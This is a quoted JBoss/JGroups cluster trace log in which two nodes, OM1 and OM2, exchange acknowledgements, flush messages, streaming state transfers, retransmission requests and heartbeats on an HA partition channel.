> 2013-08-30 09:49:26,746 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:26,746 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,746 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,746 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:26,761 TRACE [UDP] (Incoming-13,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=3, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (Incoming-13,null) OM1:1299 <-- ACK(OM2:1299: #3)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, UNICAST: DATA, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 3
> 2013-08-30 09:49:26,761 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 3 to OM2:1299
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #4, conn_id=1)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=3, rsp_expected=false, UNICAST: DATA, seqno=4, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,761 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,761 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UDP] (Incoming-14,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=4, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,777 TRACE [UNICAST] (Incoming-14,null) OM1:1299 <-- ACK(OM2:1299: #4)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=START_FLUSH,viewId=1,members=[OM1:1299, OM2:1299]], NAKACK: [MSG, seqno=1], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [NAKACK] (Incoming-15,null) OM1:1299: received OM2:1299#1
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-15,null) OM1:1299 --> DATA(OM2:1299: #5, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-15,null) sending msg to OM2:1299, src=OM1:1299, headers are FLUSH: FLUSH[type=FLUSH_COMPLETED,viewId=1], UNICAST: DATA, seqno=5, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [FLUSH] (Incoming-15,null) OM1:1299: received START_FLUSH, responded with FLUSH_COMPLETED to OM2:1299
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-16,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=5, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-16,null) OM1:1299 <-- ACK(OM2:1299: #5)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 <-- DATA(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-17,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-17,null) OM1:1299 --> DATA(OM2:1299: #6, conn_id=1)
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-17,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=6, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 TRACE [UDP] (Incoming-18,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=6, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:26,824 TRACE [UNICAST] (Incoming-18,null) OM1:1299 <-- ACK(OM2:1299: #6)
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63699 handing of to PooledExecutor thread
> 2013-08-30 09:49:26,824 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63699, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,058 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,151 TRACE [UDP] (Incoming-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes], headers are FLUSH: FLUSH[type=STOP_FLUSH,viewId=1], NAKACK: [MSG, seqno=2], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,151 TRACE [NAKACK] (Incoming-19,null) OM1:1299: received OM2:1299#2
> 2013-08-30 09:49:27,151 DEBUG [FLUSH] (Incoming-19,null) OM1:1299: received STOP_FLUSH, unblocking FLUSH.down() and sending UNBLOCK up
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=874 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=4, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=3], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#3
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 874 credits, 1999126 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 4
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) received [dst: <null>, src: OM2:1299 (4 headers), size=382 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=5, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=4], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,276 TRACE [NAKACK] (Incoming-20,null) OM1:1299: received OM2:1299#4
> 2013-08-30 09:49:27,276 TRACE [MFC] (Incoming-20,null) OM2:1299 used 382 credits, 1998744 remaining
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 5
> 2013-08-30 09:49:27,276 TRACE [RequestCorrelator] (Incoming-20,null) sending rsp for 5 to OM2:1299
> 2013-08-30 09:49:27,276 TRACE [UNICAST] (Incoming-20,null) OM1:1299 --> DATA(OM2:1299: #7, conn_id=1)
> 2013-08-30 09:49:27,276 TRACE [UDP] (Incoming-20,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=5, rsp_expected=false, UNICAST: DATA, seqno=7, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-1,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [UNICAST] (Incoming-1,null) OM1:1299 <-- ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,292 TRACE [UDP] (Incoming-4,null) received [dst: <null>, src: OM2:1299 (4 headers), size=873 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=6, rsp_expected=false, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=5], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,292 TRACE [NAKACK] (Incoming-4,null) OM1:1299: received OM2:1299#5
> 2013-08-30 09:49:27,292 TRACE [MFC] (Incoming-4,null) OM2:1299 used 873 credits, 1997871 remaining
> 2013-08-30 09:49:27,292 TRACE [RequestCorrelator] (Incoming-4,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 6
> 2013-08-30 09:49:27,323 TRACE [UDP] (Incoming-3,null) received [dst: <null>, src: OM2:1299 (4 headers), size=566 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=7, rsp_expected=true, exclusion_list=[OM2:1299], NAKACK: [MSG, seqno=6], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,323 TRACE [NAKACK] (Incoming-3,null) OM1:1299: received OM2:1299#6
> 2013-08-30 09:49:27,323 TRACE [MFC] (Incoming-3,null) OM2:1299 used 566 credits, 1997305 remaining
> 2013-08-30 09:49:27,323 TRACE [RequestCorrelator] (Incoming-3,null) calling (org.jboss.ha.core.framework.server.CoreGroupCommunicationService$RpcHandler) with request 7
> 2013-08-30 09:49:27,339 TRACE [RequestCorrelator] (Incoming-3,null) sending rsp for 7 to OM2:1299
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-3,null) OM1:1299 --> DATA(OM2:1299: #8, conn_id=1)
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-3,null) sending msg to OM2:1299, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=7, rsp_expected=false, UNICAST: DATA, seqno=8, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UDP] (Incoming-6,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,354 TRACE [UNICAST] (Incoming-6,null) OM1:1299 <-- ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=0 bytes], headers are STREAMING_STATE_TRANSFER: type=STATE_REQ, sender=OM2:1299 id=0, UNICAST: DATA, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 <-- DATA(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> ACK(OM2:1299: #7)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=7, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (Incoming-5,null) Responding to state requester OM2:1299 with address 192.168.1.200:50258 and digest null
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-5,null) OM1:1299 --> DATA(OM2:1299: #9, conn_id=1)
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-5,null) sending msg to OM2:1299, src=OM1:1299, headers are STREAMING_STATE_TRANSFER: type=STATE_RSP, sender=OM1:1299 id=0, UNICAST: DATA, seqno=9, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UDP] (Incoming-7,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,432 TRACE [UNICAST] (Incoming-7,null) OM1:1299 <-- ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER server socket acceptor,om-agent-om-fence-HAPartition,OM1:1299) StateProviderThreadSpawner listening at 192.168.1.200:50258...
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Accepted request for state transfer from /192.168.1.201:63701 handing of to PooledExecutor thread
> 2013-08-30 09:49:27,432 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Running on Thread[STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299,5,JGroups]. Accepted request for state transfer from /192.168.1.201:63701, original buffer size was 8192 and was reset to 8192, passing outputstream up... 
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Generating state.  Can provide? true
> 2013-08-30 09:49:27,651 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) Writing 2 StoredEntries to stream
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=8, rsp_expected=true, UNICAST: DATA, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #8)
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 8
> 2013-08-30 09:49:27,651 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 8 to OM2:1299
> 2013-08-30 09:49:27,651 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #10, conn_id=1)
> 2013-08-30 09:49:27,651 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=8, rsp_expected=false, UNICAST: DATA, seqno=10, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #8)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=8, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 DEBUG [StateTransferManagerImpl] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State generated, closing object stream
> 2013-08-30 09:49:27,666 DEBUG [STREAMING_STATE_TRANSFER] (STREAMING_STATE_TRANSFER-sender-1,om-agent-om-fence-HAPartition,OM1:1299) State writer is closing the socket 
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-8,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-8,null) OM1:1299 <-- ACK(OM2:1299: #10)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (3 headers), size=9 bytes, flags=OOB|DONT_BUNDLE|NO_FC], headers are RequestCorrelator: id=201, type=REQ, id=9, rsp_expected=true, UNICAST: DATA, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) calling (org.infinispan.remoting.transport.jgroups.CommandAwareRpcDispatcher) with request 9
> 2013-08-30 09:49:27,666 TRACE [RequestCorrelator] (OOB-20,null) sending rsp for 9 to OM2:1299
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> DATA(OM2:1299: #11, conn_id=1)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are RequestCorrelator: id=201, type=RSP, id=9, rsp_expected=false, UNICAST: DATA, seqno=11, conn_id=1, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #9)
> 2013-08-30 09:49:27,666 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=9, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UDP] (Incoming-10,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes], headers are UNICAST: ACK, seqno=11, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:27,666 TRACE [UNICAST] (Incoming-10,null) OM1:1299 <-- ACK(OM2:1299: #11)
> 2013-08-30 09:49:32,814 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#8
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,814 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes]
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-9,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [NAKACK] (Incoming-9,null) OM1:1299: received OM1:1299#8
> 2013-08-30 09:49:32,830 TRACE [UDP] (Incoming-11,null) received [dst: <null>, src: OM1:1299 (4 headers), size=354 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=2, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,830 TRACE [MFC] (Incoming-9,null) OM1:1299 used 354 credits, 1999646 remaining
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) received [dst: OM1:1299, src: OM2:1299 (4 headers), size=1024 bytes, flags=OOB|DONT_BUNDLE], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=RSP, id=2, rsp_expected=false, UNICAST: DATA, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 <-- DATA(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UFC] (OOB-20,null) OM2:1299 used 1024 credits, 1998976 remaining
> 2013-08-30 09:49:32,845 TRACE [UNICAST] (OOB-20,null) OM1:1299 --> ACK(OM2:1299: #10)
> 2013-08-30 09:49:32,845 TRACE [UDP] (OOB-20,null) sending msg to OM2:1299, src=OM1:1299, headers are UNICAST: ACK, seqno=10, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) sending msg to null, src=OM1:1299, headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [UDP] (ContainerBackgroundProcessor[StandardEngine[jboss.web]]) looping back message [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes]
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-12,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [NAKACK] (Incoming-12,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:32,861 TRACE [UDP] (Incoming-13,null) received [dst: <null>, src: OM1:1299 (4 headers), size=1463 bytes], headers are MuxRequestCorrelator: [org.jgroups.blocks.mux.MuxHeader Header], RequestCorrelator: id=201, type=REQ, id=3, rsp_expected=true, exclusion_list=[OM1:1299], NAKACK: [MSG, seqno=9], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:32,861 TRACE [MFC] (Incoming-12,null) OM1:1299 used 1463 credits, 1998183 remaining
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (Timer-4,<ADDR>) sending OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) sending msg to null, src=OM1:1299, headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [UDP] (Timer-4,<ADDR>) looping back message [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB]
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-20,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,187 TRACE [NAKACK] (OOB-20,null) OM1:1299: received OM1:1299#10
> 2013-08-30 09:49:34,187 TRACE [VIEW_SYNC] (OOB-20,null) view from OM1:1299 ([OM1:1299|1]) is same as my own view; ignoring
> 2013-08-30 09:49:34,187 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM1:1299 (3 headers), size=0 bytes, flags=OOB], headers are VIEW_SYNC: [VIEW_SYNC], view= [OM1:1299|1] [OM1:1299, OM2:1299], NAKACK: [MSG, seqno=10], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:34,515 TRACE [NAKACK] (Incoming-14,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:34,515 TRACE [UDP] (Incoming-14,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) received [dst: OM1:1299, src: OM2:1299 (2 headers), size=0 bytes, flags=OOB], headers are NAKACK: [XMIT_REQ, range=[9 : 9], sender=OM1:1299], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (OOB-19,null) OM1:1299: received xmit request from OM2:1299 for OM1:1299 [9 - 9]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) sending msg to null, src=OM1:1299, headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [UDP] (OOB-19,null) looping back message [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes]
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,123 TRACE [NAKACK] (Incoming-16,null) OM1:1299: received OM1:1299#9
> 2013-08-30 09:49:35,123 TRACE [UDP] (Incoming-16,null) received [dst: <null>, src: OM1:1299 (2 headers), size=1580 bytes], headers are NAKACK: [XMIT_RSP], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [UDP] (OOB-19,null) received [dst: <null>, src: OM2:1299 (3 headers), size=0 bytes, flags=OOB], headers are STABLE: [STABLE_GOSSIP]: digest is OM2:1299: [0 : 7 (7)], OM1:1299: [1 : 8 (10)], NAKACK: [MSG, seqno=8], UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,544 TRACE [NAKACK] (OOB-19,null) OM1:1299: received OM2:1299#8
> 2013-08-30 09:49:35,544 TRACE [Retransmitter] (OOB-19,null) added range OM2:1299 [7]
> 2013-08-30 09:49:35,544 TRACE [STABLE] (OOB-19,null) OM1:1299: handling digest from OM2:1299 (0 votes):
> mine:   [OM1:1299#6, OM2:1299#0]
> other:  [OM1:1299#8, OM2:1299#7]
> result: [OM1:1299#6, OM2:1299#0]
> 2013-08-30 09:49:35,856 DEBUG [FD] (Timer-3,<ADDR>) sending are-you-alive msg to OM2:1299 (own address=OM1:1299)
> 2013-08-30 09:49:35,856 TRACE [UDP] (Timer-3,<ADDR>) sending msg to OM2:1299, src=OM1:1299, headers are FD: heartbeat, UDP: [channel_name=om-agent-om-fence-HAPartition]
> 2013-08-30 09:49:35,856 TRACE [NAKACK] (Timer-5,<ADDR>) OM1:1299: sending XMIT_REQ ([7, 7]) to OM2:1299
